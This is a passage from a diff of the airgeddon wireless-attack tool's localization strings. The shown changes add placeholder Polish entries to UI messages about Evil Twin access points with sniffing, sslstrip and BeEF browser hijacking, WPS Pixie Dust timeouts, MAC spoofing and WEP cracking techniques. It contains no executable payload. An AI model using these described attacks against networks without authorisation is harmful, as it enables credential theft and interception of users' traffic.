(Push Button Connect) y no podrás conectar por WPS si no se pulsa el boton físico del mismo" @@ -3988,6 +4378,7 @@ function language_strings() { arr["RUSSIAN",390]="На некоторых точках доступа включено только PBC (Push Button Connect), т.е. подключение по нажатой кнопке, и вы не можете подключиться через WPS, если вы не нажмете на физическую кнопку устройства" arr["GREEK",390]="Μερικά σημεία πρόσβασης έχουν PBC (Push Button Connect) και δεν μπορείτε να συνδεθείτε μέσω WPS αν δεν πατήσετε το κουμπί αυτό στη συσκευή" arr["ITALIAN",390]="Alcuni punti di accesso hanno solo PBC (Push Button Connect) attivato e non è possibile connettersi tramite WPS se non viene premuto il pulsante fisico" + arr["POLISH",390]="${pending_of_translation} " arr["ENGLISH",391]="Timeout set to ${normal_color}${timeout_secs_per_pin}${blue_color} seconds" arr["SPANISH",391]="Timeout elegido ${normal_color}${timeout_secs_per_pin}${blue_color} segundos" @@ -3997,6 +4388,7 @@ function language_strings() { arr["RUSSIAN",391]="Тайм-аут установлен на ${normal_color}${timeout_secs_per_pin}${blue_color} секунд" arr["GREEK",391]="Το timeout τέθηκε στα ${normal_color}${timeout_secs_per_pin}${blue_color} δευτερόλεπτα" arr["ITALIAN",391]="Timeout scelto ${normal_color}${timeout_secs_per_pin}${blue_color} secondi" + arr["POLISH",391]="${pending_of_translation} " arr["ENGLISH",392]="Pixie Dust timeout set to ${normal_color}${timeout_secs_per_pixiedust}${blue_color} seconds" arr["SPANISH",392]="Timeout elegido para Pixie Dust ${normal_color}${timeout_secs_per_pixiedust}${blue_color} segundos" @@ -4006,6 +4398,7 @@ function language_strings() { arr["RUSSIAN",392]="Pixie Dust тайм-аут установлен на ${normal_color}${timeout_secs_per_pixiedust}${blue_color} секунд" arr["GREEK",392]="Το timeout του Pixie Dust τέθηκε στα ${normal_color}${timeout_secs_per_pixiedust}${blue_color} δευτερόλεπτα" arr["ITALIAN",392]="Timeout scelto per Pixie Dust ${normal_color}${timeout_secs_per_pixiedust}${blue_color} secondi" + arr["POLISH",392]="${pending_of_translation} " arr["ENGLISH",393]="Type value in seconds (10-100) for timeout or press [Enter] to accept the proposal [${normal_color}${timeout_secs_per_pin}${green_color}] :" arr["SPANISH",393]="Escribe un valor en segundos (10-100) para el timeout o pulsa [Enter] para aceptar el valor propuesto [${normal_color}${timeout_secs_per_pin}${green_color}] :" @@ -4015,6 +4408,7 @@ function language_strings() { arr["RUSSIAN",393]="Введите значение в секундах (10-100) для тайм-аута или нажмите [Enter], чтобы оставить по умолчанию [${normal_color}${timeout_secs_per_pin}${green_color}] :" arr["GREEK",393]="Εισάγετε μια τιμή σε δευτερόλεπτα (10-100) για το timeout ή πατήστε [Enter] για να τεθεί η προεπιλεγμένη τιμή [${normal_color}${timeout_secs_per_pin}${green_color}] :" arr["ITALIAN",393]="Scrivi un valore in secondi (10-100) per il timeout o premi [Enter] per accettare il valore proposto [${normal_color}${timeout_secs_per_pin}${green_color}] :" + arr["POLISH",393]="${pending_of_translation} " arr["ENGLISH",394]="Type value in seconds (25-2400) for Pixie Dust timeout or press [Enter] to accept the proposal [${normal_color}${timeout_secs_per_pixiedust}${green_color}] :" arr["SPANISH",394]="Escribe un valor en segundos (25-2400) para el timeout de Pixie Dust o pulsa [Enter] para aceptar el valor propuesto [${normal_color}${timeout_secs_per_pixiedust}${green_color}] :" @@ -4024,6 +4418,7 @@ function language_strings() { arr["RUSSIAN",394]="Введите значение в секундах (25-2400) для тайм-аута Pixie Dust или нажмите [Enter], чтобы оставить по умолчанию [${normal_color}${timeout_secs_per_pixiedust}${green_color}] :" arr["GREEK",394]="Εισάγετε μια τιμή σε δευτερόλεπτα (25-2400) για το timeout του Pixie Dust ή πατήστε [Enter] για να τεθεί η προεπιλεγμένη τιμή [${normal_color}${timeout_secs_per_pixiedust}${green_color}] :" arr["ITALIAN",394]="Scrivi un valore in secondi (25-2400) per il timeout di Pixie Dust o premi [Enter] per accettare il valore proposto [${normal_color}${timeout_secs_per_pixiedust}${green_color}] :" + arr["POLISH",394]="${pending_of_translation} " arr["ENGLISH",395]="Skipping intro, more window size needed" arr["SPANISH",395]="Saltando presentación, se necesita más tamaño de ventana" @@ -4033,6 +4428,7 @@ function language_strings() { arr["RUSSIAN",395]="Пропуск заставки, требуется окно большего размера" arr["GREEK",395]="Το intro παρακάμπτεται, χρειάζεται μεγαλύτερο μέγεθος παραθύρου" arr["ITALIAN",395]="Saltando la presentazione, è necessaria una finestra piú grande" + arr["POLISH",395]="${pending_of_translation} " arr["ENGLISH",396]="8. Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF" arr["SPANISH",396]="8. Ataque Evil Twin AP con sniffing y bettercap-sslstrip2/BeEF" @@ -4042,6 +4438,7 @@ function language_strings() { arr["RUSSIAN",396]="8. Атака Злой Двойник ТД со сниффингом и bettercap-sslstrip2/BeEF" arr["GREEK",396]="8. Επίθεση Evil Twin AP με sniffing και bettercap-sslstrip2/BeEF" arr["ITALIAN",396]="8. Attacco Evil Twin AP con sniffing e bettercap-sslstrip2/BeEF" + arr["POLISH",396]="${pending_of_translation} " arr["ENGLISH",397]="Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF" arr["SPANISH",397]="Ataque Evil Twin AP con sniffing y bettercap-sslstrip2/BeEF" @@ -4051,6 +4448,7 @@ function language_strings() { arr["RUSSIAN",397]="Атака Злой Двойник ТД со сниффингом и bettercap-sslstrip2/BeEF" arr["GREEK",397]="Επίθεση Evil Twin AP με sniffing και bettercap-sslstrip2/BeEF" arr["ITALIAN",397]="Attacco Evil Twin AP con sniffing e bettercap-sslstrip2/BeEF" + arr["POLISH",397]="${pending_of_translation} " arr["ENGLISH",398]="Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${default_bettercap_logpath}]" arr["SPANISH",398]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${default_bettercap_logpath}]" @@ -4060,6 +4458,7 @@ function language_strings() { arr["RUSSIAN",398]="Напечатайте путь до файла для сохранения или нажмите [Enter] для принятия предложения по умолчанию ${normal_color}[${default_bettercap_logpath}]" arr["GREEK",398]="Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${default_bettercap_logpath}]" arr["ITALIAN",398]="Digitare il percorso dove memorizzare il file o premere [Enter] per accettare la proposta di default ${normal_color}[${default_bettercap_logpath}]" + arr["POLISH",398]="${pending_of_translation} " arr["ENGLISH",399]="Passwords captured by sniffer. File saved at ${normal_color}[${bettercap_logpath}]" arr["SPANISH",399]="El sniffer ha capturado contraseñas. Fichero salvado en ${normal_color}[${bettercap_logpath}]" @@ -4069,6 +4468,7 @@ function language_strings() { arr["RUSSIAN",399]="Сниффер захватил пароли. Файл сохранён в ${normal_color}[${bettercap_logpath}]" arr["GREEK",399]="Καταγράφηκαν κωδικοί πρόσβασης από τον sniffer. Το αρχείο αποθηκεύτηκε στο ${normal_color}[${bettercap_logpath}]" arr["ITALIAN",399]="Lo sniffer ha catturato passwords. File salvato in ${normal_color}[${bettercap_logpath}]" + arr["POLISH",399]="${pending_of_translation} " arr["ENGLISH",400]="On Evil Twin attack with BeEF integrated, in addition to obtaining keys using sniffing techniques, you can try to control the client's browser launching numerous attack vectors. The success of these will depend on many factors such as the kind of client's browser and its version" arr["SPANISH",400]="En el ataque Evil Twin con BeEF integrado, además de obtener claves con sniffing, podrás intentar controlar el navegador de los clientes lanzando numerosos vectores de ataque. El éxito de estos dependerá de muchos factores como el tipo de navegador y la versión que utilice el cliente" @@ -4078,6 +4478,7 @@ function language_strings() { arr["RUSSIAN",400]="С атакой Злой Двойник в дополнение к получению паролей сниффингом, вы можете попробовать контролировать клиентский браузер, запуская атаки по ряду векторов. Их успех зависит от многих факторов, в том числе от типа и версии клиентского браузера" arr["GREEK",400]="Στην επίθεση Evil Twin με ενσωματωμένο BeEF, εκτός από την απόκτηση κλειδιών με τη χρήση τεχνικών sniffing, μπορείτε να προσπαθήσετε να ελέγξετε τον browser του χρήστη-πελάτη κάνοντας χρήση κάποιων attack vectors. Η επιτυχία αυτών θα εξαρτηθεί από πολλούς παράγοντες όπως το είδος του browser του χρήστη-πελάτη και την έκδοσή του" arr["ITALIAN",400]="Nell'attacco Evil Twin con BeEF integrato, oltre ad ottenere le chiavi con sniffing, si può provare a controllare il browser dei clienti lanciando numerosi vettori di attacco. Il successo di questi attacchi dipende da molti fattori, come il tipo di browser e la versione utilizzata dal cliente" + arr["POLISH",400]="${pending_of_translation} " arr["ENGLISH",401]="The beef package you have installed is not BeEF (Browser Exploitation Framework). You have Beef (Flexible Brainfuck interpreter) installed. Both executables have the same name and can lead to confusion. Uninstall it and install what airgeddon needs if you want to use that feature. Installation guide: ${beef_installation_url}" arr["SPANISH",401]="El paquete beef que tienes instalado no es BeEF (Browser Exploitation Framework). Tienes instalado Beef (Flexible Brainfuck interpreter). Ambos ejecutables se llaman igual y puede dar lugar a confusión. Desinstálalo e instala el que airgeddon necesita si quieres usar esa característica. Guía de instalación: ${beef_installation_url}" @@ -4087,6 +4488,7 @@ function language_strings() { arr["RUSSIAN",401]="Установленный вами пакет beef не является пакетом BeEF (Browser Exploitation Framework). Вы установили Beef (Flexible Brainfuck interpreter). Оба исполнимых файла имеют одинаковое имя и могут вызвать путаницу. Если вы хотите использовать эту функцию, удалите его и установите тот, который требует airgeddon. Инструкция по установке: ${beef_installation_url}" arr["GREEK",401]="Το πακέτο beef που έχετε εγκαταστημένο δεν είναι το BeEF (Browser Exploitation Framework). Έχετε εγκατεστημένο το Beef (Flexible Brainfuck interpreter). Και τα δύο εκτελέσιμα αρχεία έχουν το ίδιο όνομα και μπορεί να γίνει κάποιο μπέρδεμα. Απεγκαταστήστε το και εγκαταστήστε αυτό που χρειάζεται το airgeddon, αν θέλετε να χρησιμοποιήσετε αυτή την επιλογή. Οδηγός εγκατάστασης: ${beef_installation_url}" arr["ITALIAN",401]="Il pacchetto beef che hai installato non è BeEF (Browser Exploitation Framework). È stato installato Beef (Flexible Brainfuck interpreter). Entrambi gli eseguibili hanno lo nome e può essere fonte di confusione. Disinstallarlo e installare quello di cui ha bisogno airgeddon se si desidera utilizzare questa funzione. Guida all'installazione: ${beef_installation_url}" + arr["POLISH",401]="${pending_of_translation} " arr["ENGLISH",402]="Enter the absolute path of the directory where BeEF is installed :" arr["SPANISH",402]="Introduce la ruta absoluta del directorio donde está instalado BeEF :" @@ -4096,6 +4498,7 @@ function language_strings() { arr["RUSSIAN",402]="Введите абсолютный путь к каталогу, в котором установлен BeEF :" arr["GREEK",402]="Εισάγετε το απόλυτο μονοπάτι για τον κατάλογο στον όποιο βρίσκεται εγκατεστημένο το BeEF :" arr["ITALIAN",402]="Immettere il percorso assoluto della directory in cui è installato BeEF :" + arr["POLISH",402]="${pending_of_translation} " arr["ENGLISH",403]="The directory you entered doesn't exist" arr["SPANISH",403]="El directorio introducido no existe" @@ -4105,6 +4508,7 @@ function language_strings() { arr["RUSSIAN",403]="Каталог, который вы ввели, не существует" arr["GREEK",403]="Ο κατάλογος που έχετε εισάγει δεν υπάρχει" arr["ITALIAN",403]="La cartella indicata non esiste" + arr["POLISH",403]="${pending_of_translation} " arr["ENGLISH",404]="The entered path isn't absolute. An absolute path must always begin with \"/\"" arr["SPANISH",404]="La ruta introducida no es absoluta. Una ruta absoluta siempre debe comenzar por \"/\"" @@ -4114,6 +4518,7 @@ function language_strings() { arr["RUSSIAN",404]="Введенный путь не является абсолютным. Абсолютный путь всегда должен начинаться с \"/\"" arr["GREEK",404]="Το μονοπάτι που έχετε εισάγει δεν είναι απόλυτο. Ένα απόλυτο μονοπάτι πρέπει πάντα να ξεκινάει με \"/\"" arr["ITALIAN",404]="Il percorso immesso non è assoluto. Un percorso assoluto deve sempre iniziare con \"/\"" + arr["POLISH",404]="${pending_of_translation} " arr["ENGLISH",405]="Checking BeEF..." arr["SPANISH",405]="Comprobando BeEF..." @@ -4123,6 +4528,7 @@ function language_strings() { arr["RUSSIAN",405]="Проверка BeEF..." arr["GREEK",405]="Γίνεται έλεγχος του BeEF..." arr["ITALIAN",405]="Controllando BeEF..." + arr["POLISH",405]="${pending_of_translation} " arr["ENGLISH",406]="No BeEF executable was detected in given directory" arr["SPANISH",406]="No se ha detectado un ejecutable de BeEF en el directorio indicado" @@ -4132,6 +4538,7 @@ function language_strings() { arr["RUSSIAN",406]="Ни один исполняемый файл BeEF не был обнаружен в заданной директории" arr["GREEK",406]="Δεν εντοπίστηκε κάποιο εκτελέσιμο αρχείο BeEF στον κατάλογο που έχετε εισάγει" arr["ITALIAN",406]="Non è stato rilevato un eseguibile di BeEF nella directory specificata" + arr["POLISH",406]="${pending_of_translation} " arr["ENGLISH",407]="BeEF preparation" arr["SPANISH",407]="Preparación BeEF" @@ -4141,6 +4548,7 @@ function language_strings() { arr["RUSSIAN",407]="Подготовка BeEF" arr["GREEK",407]="Προετοιμασία του BeEF" arr["ITALIAN",407]="Preparando BeEF" + arr["POLISH",407]="${pending_of_translation} " arr["ENGLISH",408]="If you installed BeEF manually, airgeddon might not be able to find it and the attack option can appear as restricted. You can try to solve it using the special menu option to fix this. It will work only if BeEF is already correctly installed and your unique problem is the script is not detecting it" arr["SPANISH",408]="Si instalaste BeEF manualmente, puede que airgeddon no sea capaz de encontrarlo y la opción del ataque te aparezca restringida. Puedes intentar solucionarlo usando la opción del menú especial para ello. Esto sólo funcionará si BeEF ya está instalado correctamente y el único problema que tienes es que el script no lo detecta" @@ -4150,6 +4558,7 @@ function language_strings() { arr["RUSSIAN",408]="Если вы установили BeEF вручную, airgeddon может быть не в состоянии найти его, и опция атаки в меню может быть ограничена. Для исправления этого, вы можете попытаться решить эту проблему с помощью специального пункта меню. Это сработает только если BeEF уже правильно установлен, и ваша единственная проблема в том, что скрипт не обнаруживает его" arr["GREEK",408]="Εάν έχετε εγκαταστήσει χειροκίνητα το BeEF, το airgeddon μπορεί να μην μπορέσει να το βρεί και η επιλογή της επίθεσης μπορεί να φανεί σαν περιορισμένη. Μπορείτε να προσπαθήσετε να διορθώσετε το πρόβλημα κάνοντας χρήση της ειδικής επιλογής στο μενού. Θα λειτουργήσει μόνο αν το BeEF έχει ήδη εγκατασταθεί σωστά και το μόνο πρόβλημα είναι ότι το script δεν το εντοπίζει" arr["ITALIAN",408]="Se BeEF è stato installato manualmente, airgeddon potrebbe non essere in grado di trovarlo e l'opzione di attacco apparirà limitata. Si può cercare di risolvere il problema utilizzando l'opzione del menú specifica per questo. Questo funzionerá solo se BeEF è già installato correttamente e l'unico problema che hai è che lo script non lo rileva" + arr["POLISH",408]="${pending_of_translation} " arr["ENGLISH",409]="1. Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF" arr["SPANISH",409]="1. Ataque Evil Twin AP con sniffing y bettercap-sslstrip2/BeEF" @@ -4159,6 +4568,7 @@ function language_strings() { arr["RUSSIAN",409]="1. Атака Злой Двойник ТД со сниффингом и bettercap-sslstrip2/BeEF" arr["GREEK",409]="1. Επίθεση Evil Twin AP με sniffing και bettercap-sslstrip2/BeEF" arr["ITALIAN",409]="1. Attacco Evil Twin AP con sniffing e bettercap-sslstrip2/BeEF" + arr["POLISH",409]="${pending_of_translation} " arr["ENGLISH",410]="2. Try to troubleshoot manually installed BeEF dependency problem" arr["SPANISH",410]="2. Intentar solucionar problema de dependencia BeEF instalado manualmente" @@ -4168,6 +4578,7 @@ function language_strings() { arr["RUSSIAN",410]="2. Попробуйте устранить проблему вручную установив зависимости BeEF" arr["GREEK",410]="2. Προσπαθήστε να αντιμετωπίσετε το πρόβλημα με τα dependencies του χειροκίνητα εγκατεστημένου BeEF" arr["ITALIAN",410]="2. Cercare di risolvere il problema delle dipende di BeEF installato manualmente" + arr["POLISH",410]="${pending_of_translation} " arr["ENGLISH",411]="3. Return to Evil Twin attacks menu" arr["SPANISH",411]="3. Volver al menú de ataques Evil Twin" @@ -4177,6 +4588,7 @@ function language_strings() { arr["RUSSIAN",411]="3. Вернуться в меню атак Злой Двойник" arr["GREEK",411]="3. Επιστροφή στο μενού επιθέσεων Evil Twin" arr["ITALIAN",411]="3. Tornare al menú attacchi Evil Twin" + arr["POLISH",411]="${pending_of_translation} " arr["ENGLISH",412]="You don't need to perform this action. Your BeEF is operational" arr["SPANISH",412]="No necesitas realizar esta acción. Tu BeEF está operativo" @@ -4186,6 +4598,7 @@ function language_strings() { arr["RUSSIAN",412]="Вам не нужно выполнять это действие. Ваш BeEF находится в рабочем состоянии" arr["GREEK",412]="Δεν χρειάζεται να εκτελέσετε αυτήν την ενέργεια. Το BeEF λειτουργεί κανονικά" arr["ITALIAN",412]="Non è necessario fare questo. Il tuo BeEF è operativo" + arr["POLISH",412]="${pending_of_translation} " arr["ENGLISH",413]="airgeddon fixed the problem. Your BeEF is operational" arr["SPANISH",413]="airgeddon ha solucionado el problema. Tu BeEF está operativo" @@ -4195,6 +4608,7 @@ function language_strings() { arr["RUSSIAN",413]="airgeddon устранил проблему. Ваш BeEF находится в рабочем состоянии" arr["GREEK",413]="Το airgeddon διόρθωσε το πρόβλημα. Το BeEF λειτουργεί κανονικά" arr["ITALIAN",413]="airgeddon ha risolto il problema. Il tuo BeEF è operativo" + arr["POLISH",413]="${pending_of_translation} " arr["ENGLISH",414]="You don't have curl installed. Is not possible to download PINs database file" arr["SPANISH",414]="No tienes curl instalado. No se puede descargar el fichero de la base de datos de PINs" @@ -4204,6 +4618,7 @@ function language_strings() { arr["RUSSIAN",414]="У вас не установлен curl. Невозможно загрузить файл базы данных PIN" arr["GREEK",414]="Το curl δεν είναι εγκατεστημένο. Είναι αδύνατον να κατέβει το αρχείο με την βάση δεδομένων PIN" arr["ITALIAN",414]="Non si dispone di curl installato. Non è possibile scaricare il file della base dati dei PINs" + arr["POLISH",414]="${pending_of_translation} " arr["ENGLISH",415]="${blue_color}airgeddon knows you have BeEF installed and you pass the validation, but it was unable to locate the right directory path where you have BeEF installed. Knowing the location gives some advantages for the execution because its configuration file can be customized instead of generic. ${green_color}Do you want to enter it manually? ${normal_color}${visual_choice}" arr["SPANISH",415]="${blue_color}airgeddon sabe que tienes BeEF instalado y pasas la validación, pero no ha podido concretar la ruta del directorio exacto donde tienes instalado BeEF. Conocer la localización exacta tiene algunas ventajas a la hora de ejecutarlo ya que la configuración será personalizada en lugar de ser una configuración genérica. ${green_color}¿Quieres introducirla manualmente? ${normal_color}${visual_choice}" @@ -4213,6 +4628,7 @@ function language_strings() { arr["RUSSIAN",415]="${blue_color}airgeddon знает, что у вас установлен BeEF и вы успешно прошли проверку, но скрипт оказался не в состоянии найти правильный путь к каталогу, где вы установили BeEF. Знание расположения даёт некоторые преимущества при выполнении, поскольку появляется возможность настроить его конфигурационный файл, а не использовать настройки по умолчанию. ${green_color}Вы хотите ввести расположение вручную? ${normal_color}${visual_choice}" arr["GREEK",415]="${blue_color}Το airgeddon γνωρίζει ότι έχετε εγκατεστημένο το BeEF και έχετε περάσει τους απαραίτητους ελέγχους, αλλά δεν μπόρεσε να εντοπίσει το σωστό μονοπάτι για τον κατάλογο όπου έχετε εγκαταστήσει το BeEF. Γνωρίζοντας το μονοπάτι για τον κατάλογο κάνει την διαδικασία της εκτέλεσης πλεονεκτική γιατί το αρχείο παραμέτρων μπορεί να ρυθμιστεί καταλλήλως, αντιθέτως με το προεπιλεγμένο. ${green_color}Θέλετε να το εισάγετε χειροκίνητα; ${normal_color}${visual_choice}" arr["ITALIAN",415]="${blue_color}airgeddon sa che hai BeEF installato e passi la validazione, peró non ha potuto trovare il percorso esatto della directory in cui hai installato BeEF. Conoscere l'esatta posizione ha alcuni vantaggi all'ora di eseguiro perchè la configurazione sarà personalizzata, piuttosto che una configurazione generica. ${green_color}Vuoi inserirla manualmente? ${normal_color}${visual_choice}" + arr["POLISH",415]="${pending_of_translation} " arr["ENGLISH",416]=" You can run BeEF, but it is better if you run the second option before" arr["SPANISH",416]=" Puedes ejecutar BeEF, pero es recomendable ejecutar la segunda opción antes" @@ -4222,6 +4638,7 @@ function language_strings() { arr["RUSSIAN",416]=" Вы можете запустить BeEF, но лучше, если вы сначала запустите вторую опцию" arr["GREEK",416]=" Μπορείτε να εκτελέσετε το BeEF, αλλά είναι καλύτερα να διαλέξετε τη δεύτερη επιλογή από πρίν" arr["ITALIAN",416]=" Puoi eseguire BeEF, peró si consiglia di eseguire prima la seconda opzione" + arr["POLISH",416]="${pending_of_translation} " arr["ENGLISH",417]="An unexpected error occurred, redirecting to the menu" arr["SPANISH",417]="Ocurrió un error inesperado. Volviendo al menú" @@ -4231,6 +4648,7 @@ function language_strings() { arr["RUSSIAN",417]="Случилась непредвиденная ошибка, перенаправление в меню" arr["GREEK",417]="Παρουσιάστηκε μη αναμενόμενο σφάλμα, γίνεται ανακατεύθυνση στο μενού" arr["ITALIAN",417]="Errore imprevisto. Tornando al menú" + arr["POLISH",417]="${pending_of_translation} " arr["ENGLISH",418]="Restoring MAC" arr["SPANISH",418]="Restaurando MAC" @@ -4240,6 +4658,7 @@ function language_strings() { arr["RUSSIAN",418]="Восстановление MAC-адреса" arr["GREEK",418]="Γίνεται αποκατάσταση της διεύθυνσης MAC" arr["ITALIAN",418]="Ripristinando MAC" + arr["POLISH",418]="${pending_of_translation} " arr["ENGLISH",419]="Do you want to spoof your MAC address during this attack? ${normal_color}${visual_choice}" arr["SPANISH",419]="¿Deseas falsear la dirección MAC de tu tarjeta durante el ataque? ${normal_color}${visual_choice}" @@ -4249,6 +4668,7 @@ function language_strings() { arr["RUSSIAN",419]="Вы хотите подменить свой MAC-адрес во время этой атаки? ${normal_color}${visual_choice}" arr["GREEK",419]="Θέλετε να κρύψετε την αληθινή διεύθυνση MAC, δημιουργώντας μία ψεύτικη κατά την διάρκεια αυτής της επίθεσης; ${normal_color}${visual_choice}" arr["ITALIAN",419]="Vuoi falsificare l'indirizzo MAC della scheda durante l'attacco? ${normal_color}${visual_choice}" + arr["POLISH",419]="${pending_of_translation} " arr["ENGLISH",420]="It has been detected that you are running airgeddon inside a Docker container. During this attack hostapd is used to create a fake AP. This component often conflicts with network-manager. From inside the container, airgeddon can't handle it. If you have network-manager installed on your host machine, close it or kill the conflicting processes or you'll get an error. For more information, see the Docker section of the Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["SPANISH",420]="Se ha detectado que estás ejecutando airgeddon en un contenedor de Docker. En este ataque se utiliza hostapd para crear un falso AP. Este componente suele dar conflicto con network-manager. Desde el contenedor, airgeddon no puede gestionarlo. Si tienes network-manager instalado en tu máquina host, ciérralo o mata los procesos en conflicto u obtendrás un error. Para más información consulta la sección Docker del Wiki: ${normal_color}${urlgithub_wiki}/Docker" @@ -4258,6 +4678,7 @@ function language_strings() { arr["RUSSIAN",420]="Определено, что вы запускаете airgeddon внутри контейнера Docker. Во время этой атаки для создания поддельной AP используется hostapd. Этот компонент часто конфликтует с network-manager. Изнутри контейнера airgeddon не может справиться с этим. Если на вашем хост-компьютере установлен network-manager, закройте его или уберите конфликтующие процессы, иначе вы получите сообщение об ошибке. Для получения дополнительной информации см. раздел Docker в Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["GREEK",420]="Εντοπίστηκε πως τρέχετε το airgeddon μέσα σε Docker container. Κατά τη διάρκεια αυτής της επίθεσης χρησιμοποιείται το hostapd για να δημιουργήσει ψεύτικο AP. Η δημιουργία αυτού κάνει conflicts με τον network-manager. Το airgeddon δεν μπορεί να το χειριστεί μέσα από το container. Αν υπάρχει ο network-manager εγκατεστημένος στον host-υπολογιστή, κλείστε τον ή διακόψτε τις διεργασίες που κάνουν conflict αλλιώς θα υπάρξουν σφάλματα. Για περισσότερες πληροφορίες, ανατρέξτε στην ενότητα Docker του Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["ITALIAN",420]="È stato rilevato che si sta eseguendo airgeddon in un contenitore Docker. In questo attacco viene utilizzato hostapd per creare un falso AP. Questo componente tende a creare un conflitto con il network-manager. Dal contenitore, airgeddon non può gestirlo. Se si dispone di network-manager installato sul computer host, chiuderlo o uccidere i processi in conflitto o ci sará un errore. Per ulteriori informazioni consultare la sezione Docker della nostra Wiki: ${normal_color}${urlgithub_wiki}/Docker" + arr["POLISH",420]="${pending_of_translation} " arr["ENGLISH",421]="Doubts? Visit our Wiki: ${normal_color}${urlgithub_wiki}" arr["SPANISH",421]="¿Dudas? Visita nuestro Wiki: ${normal_color}${urlgithub_wiki}" @@ -4267,6 +4688,7 @@ function language_strings() { arr["RUSSIAN",421]="Вопросы? Посетите Wiki: ${normal_color}${urlgithub_wiki}" arr["GREEK",421]="Απορίες; Επισκεφθείτε το Wiki μας: ${normal_color}${urlgithub_wiki}" arr["ITALIAN",421]="Domande? Visita la nostra Wiki: ${normal_color}${urlgithub_wiki}" + arr["POLISH",421]="${pending_of_translation} " arr["ENGLISH",422]="The automatic update has been disabled when airgeddon is running in a Docker container. If you want to update it, download again the image tagged as \"latest\"" arr["SPANISH",422]="La actualización automática se ha desactivado cuando airgeddon se ejecuta en un contenedor de Docker. Si deseas actualizarlo descarga de nuevo la imagen con tag \"latest\"" @@ -4276,6 +4698,7 @@ function language_strings() { arr["RUSSIAN",422]="Когда airgeddon работает в контейнере Docker, то автоматическое обновление отключено,. Если вы хотите обновить программу, то снова загрузите образ отмеченный как \"latest\"" arr["GREEK",422]="Η διαδικασία της αυτόματης ενημέρωσης είναι απενεργοποιημένη όταν το airgeddon τρέχει σε Docker container. Εάν θέλετε να το ενημερώσετε, κατεβάστε ξανά το αρχείο με την ετικέτα \"latest\"" arr["ITALIAN",422]="L'aggiornamento automatico viene disabilitato quando airgeddon viene eseguito in un contenitore Docker. Se vuoi aggiornarlo scaricare di nuovo l'immagine con il tag \"latest\"" + arr["POLISH",422]="${pending_of_translation} " arr["ENGLISH",423]="5. WEP \"All-in-One\" attack" arr["SPANISH",423]="5. Ataque WEP \"Todo-en-Uno\"" @@ -4285,6 +4708,7 @@ function language_strings() { arr["RUSSIAN",423]="5. Атака на WEP \"Все-в-Одном\"" arr["GREEK",423]="5. Επίθεση WEP \"All-in-One\"" arr["ITALIAN",423]="5. Attacco WEP \"Tutto-in-Uno\"" + arr["POLISH",423]="${pending_of_translation} " arr["ENGLISH",424]="The selected network is invalid. Encryption type of target network must be WEP" arr["SPANISH",424]="La red seleccionada no es válida. El tipo de encriptación de la red objetivo debe ser WEP" @@ -4294,6 +4718,7 @@ function language_strings() { arr["RUSSIAN",424]="Выбранная сеть не подходит. Целевая сеть должна иметь шифрование WEP" arr["GREEK",424]="Το επιλεγμένο δίκτυο δεν είναι έγκυρο. Ο τύπος κρυπτογράφησης του δικτύου-στόχος πρέπει να είναι WEP" arr["ITALIAN",424]="La rete selezionata non è valida. Il tipo di crittografia della rete obiettivo deve essere WEP" + arr["POLISH",424]="${pending_of_translation} " arr["ENGLISH",425]="You have a valid WEP target network selected. Script can continue..." arr["SPANISH",425]="Tienes una red objetivo WEP válida seleccionada. El script puede continuar..." @@ -4303,6 +4728,7 @@ function language_strings() { arr["RUSSIAN",425]="У вас есть подходящая целевая сеть WEP. Скрипт может продолжать..." arr["GREEK",425]="Έχετε επιλέξει ένα έγκυρο WEP δίκτυο-στόχος. Το script μπορεί να συνεχίσει..." arr["ITALIAN",425]="Hai selezionato una rete obiettivo WEP valida. Lo script può continuare..." + arr["POLISH",425]="${pending_of_translation} " arr["ENGLISH",426]="9. WEP attacks menu" arr["SPANISH",426]="9. Menú de ataques WEP" @@ -4312,6 +4738,7 @@ function language_strings() { arr["RUSSIAN",426]="9. Меню атак на WEP" arr["GREEK",426]="9. Μενού επιθέσεων WEP" arr["ITALIAN",426]="9. Menú degli attacchi WEP" + arr["POLISH",426]="${pending_of_translation} " arr["ENGLISH",427]="WEP attacks menu" arr["SPANISH",427]="Menú de ataques WEP" @@ -4321,6 +4748,7 @@ function language_strings() { arr["RUSSIAN",427]="Меню атак на WEP" arr["GREEK",427]="Μενού επιθέσεων WEP" arr["ITALIAN",427]="Menú degli attacchi WEP" + arr["POLISH",427]="${pending_of_translation} " arr["ENGLISH",428]="If real clients exist connected to the WEP encrypted network, the process will be significantly accelerated. Enough IVs (Initialization Vectors) will be catched faster" arr["SPANISH",428]="Si existen clientes reales conectados a la red con encriptación WEP, el proceso se acelerará notablemente. Se obtendrán antes suficientes IVs (Vectores de Inicialización)" @@ -4330,6 +4758,7 @@ function language_strings() { arr["RUSSIAN",428]="Если к сети с WEP шифрованием подключены реальные клиенты, то процесс будет значительно ускорен. Будет быстрее накоплено достаточное количество IVs (Векторов Инициализации)" arr["GREEK",428]="Εάν υπάρχουν αληθινοί συνδεδεμένοι χρήστες στο κρυπτογραφημένο WEP δίκτυο, η διαδικασία θα επιταχυνθεί σημαντικά. Θα καταγραφθούν αρκετά IVs (Initialization Vectors) γρηγορότερα" arr["ITALIAN",428]="Se esistono dei clienti reali connessi alla rete con crittografia WEP il processo sará piú veloce. Si otterrano prima sufficienti IV (Vettori di Inizializzazione)" + arr["POLISH",428]="${pending_of_translation} " arr["ENGLISH",429]="The WEP \"All-in-One\" attack combines different techniques to generate enough traffic to decrypt the key (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentation, Fake association, etc.)" arr["SPANISH",429]="El ataque WEP \"Todo-en-Uno\" combina diversas técnicas para generar el tráfico suficiente que hace falta para desencriptar la clave (Caffe Latte, Hirte, Replay, Chop-Chop, Fragmentación, Falsa asociación, etc.)" @@ -4339,6 +4768,7 @@ function language_strings() { arr["RUSSIAN",429]="Атака WEP \"Все-в-Одном\" сочетает в себе различные методы генерации трафика, достаточного для расшифровки ключа (Caffe Latte, Hirte, Replay, Chop-Chop, Дробление, Фальшивые ассоциации 